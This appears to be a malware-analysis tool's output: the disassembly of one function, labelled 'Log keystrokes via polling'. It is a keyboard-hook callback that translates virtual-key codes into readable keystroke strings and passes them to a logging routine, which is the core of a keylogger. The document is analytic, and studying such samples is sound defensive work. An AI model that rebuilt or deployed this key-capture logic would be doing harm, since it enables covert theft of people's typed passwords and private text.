Function at 0x4089d5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov eax, edx
mov ebx, ecx
push esi
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
push edi
mov edi, dword [ebp + 8]
sub eax, 0x100
je 0x4089fb
sub eax, 4
jne case.default.0x408a28
mov esi, dword [edi]
cmp esi, 0x27
jb 0x408aae
cmp esi, 0x40
ja 0x408ab3
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x408a93
add esi, 0xffffffd0
cmp esi, 9
ja case.default.0x408a28
jmp dword [esi*4 + 0x408e21]
mov ecx, str.______
jmp 0x408e06
mov ecx, 0x414af8
jmp 0x408e06
mov ecx, 0x414afc
jmp 0x408e06
mov ecx, 0x414b00
jmp 0x408e06
mov ecx, 0x414b04
jmp 0x408e06
mov ecx, 0x414b08
jmp 0x408e06
mov ecx, 0x414b0c
jmp 0x408e06
mov ecx, 0x414b10
jmp 0x408e06
mov ecx, 0x414a58
jmp 0x408e06
mov ecx, 0x414b14
jmp 0x408e06
push esi
lea eax, [ebp - 0x14]
push 0x414b18
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
jmp 0x408e06
cmp esi, 0x40
jbe 0x408aff
cmp esi, 0x5b
jae 0x408aff
call fcn.00408e5b
push 0x10
mov bl, al
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
mov dl, bl
setne cl
call fcn.00408e49
test al, al
lea ecx, [esi + 0x20]
lea eax, [ebp - 0x14]
cmovne ecx, esi
push ecx
push 0x414b18
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x14]
call fcn.00408e66
mov ebx, dword [ebp - 4]
jmp case.default.0x408a28
cmp esi, 0x66
ja 0x408c1d
je 0x408c13
cmp esi, 0x20
ja 0x408b91
je 0x408b87
cmp esi, 0x11
ja 0x408b5b
je 0x408c81
sub esi, 8
je 0x408b51
sub esi, 1
je 0x408b47
sub esi, 4
je 0x408b3d
sub esi, 3
je case.default.0x408a28
jmp 0x408da2
mov ecx, 0x414b24
jmp 0x408e06
mov ecx, str._TAB_
jmp 0x408e06
mov ecx, str._BKSP_
jmp 0x408e06
sub esi, 0x12
je 0x408cd8
dec esi
sub esi, 1
je 0x408b7d
sub esi, 7
jne 0x408da2
mov ecx, str._ESC_
jmp 0x408e06
mov ecx, str._CAPS_
jmp 0x408e06
mov ecx, 0x414b20
jmp 0x408e06
cmp esi, 0x62
ja 0x408be2
je 0x408bd8
sub esi, 0x2d
je 0x408bce
sub esi, 1
je 0x408bc4
sub esi, 0x32
je 0x408bba
sub esi, 1
jne 0x408da2
mov ecx, 0x414bb0
jmp 0x408e06
mov ecx, str.0123456789_________.:___
jmp 0x408e06
mov ecx, str._DEL_
jmp 0x408e06
mov ecx, str._INSERT_
jmp 0x408e06
mov ecx, 0x414bb4
jmp 0x408e06
sub esi, 0x63
je 0x408c09
sub esi, 1
je 0x408bff
sub esi, 1
jne 0x408da2
mov ecx, 0x414bc0
jmp 0x408e06
mov ecx, 0x414bbc
jmp 0x408e06
mov ecx, 0x414bb8
jmp 0x408e06
mov ecx, 0x414bc4
jmp 0x408e06
mov eax, 0xbc
cmp esi, eax
ja 0x408cf6
je 0x408ce2
cmp esi, 0xa3
ja 0x408c8b
cmp esi, 0xa2
jae 0x408c81
cmp esi, 0x67
je 0x408c77
cmp esi, 0x68
je 0x408c6d
cmp esi, 0x69
je 0x408c63
lea eax, [esi - 0xa0]
cmp eax, 1
ja 0x408da2
jmp case.default.0x408a28
mov ecx, 0x414bd0
jmp 0x408e06
mov ecx, 0x414bcc
jmp 0x408e06
mov ecx, 0x414bc8
jmp 0x408e06
mov ecx, str._CTRL_
jmp 0x408e06
cmp esi, 0xa5
jbe 0x408cd8
cmp esi, 0xba
je 0x408cc4
cmp esi, 0xbb
jne 0x408da2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414c18
mov edx, 0x414c1c
test ax, ax
cmove ecx, edx
jmp 0x408e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414c08
mov edx, 0x414c0c
jmp 0x408cb9
mov ecx, str._ALT_
jmp 0x408e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414bf8
mov edx, 0x414bfc
jmp 0x408cb9
mov eax, 0xdb
cmp esi, eax
ja 0x408d90
je 0x408d79
sub esi, 0xbd
je 0x408d62
sub esi, 1
je 0x408d4b
sub esi, 1
je 0x408d34
sub esi, 1
jne 0x408da2
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414bdc
mov edx, 0x414be0
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414bd4
mov edx, 0x414bd8
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414c00
mov edx, 0x414c04
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414c10
mov edx, 0x414c14
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414ad8
mov edx, 0x414be4
jmp 0x408cb9
sub esi, 0xdc
je 0x408def
sub esi, 1
je 0x408dd8
sub esi, 1
je 0x408dc1
push 0xf
lea eax, [ebp - 0x34]
push eax
mov eax, dword [edi + 8]
shl eax, 8
add eax, dword [edi + 4]
shl eax, 0x10
inc eax
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea ecx, [ebp - 0x34]
jmp 0x408e06
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414bf0
mov edx, 0x414bf4
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414adc
mov edx, 0x414bec
jmp 0x408cb9
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x414be8
test ax, ax
jne 0x408e06
mov ecx, 0x414684
call fcn.00408e66
push edi
push dword [ebp - 8]
push ebx
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
pop edi
pop esi
pop ebx
leave
ret 4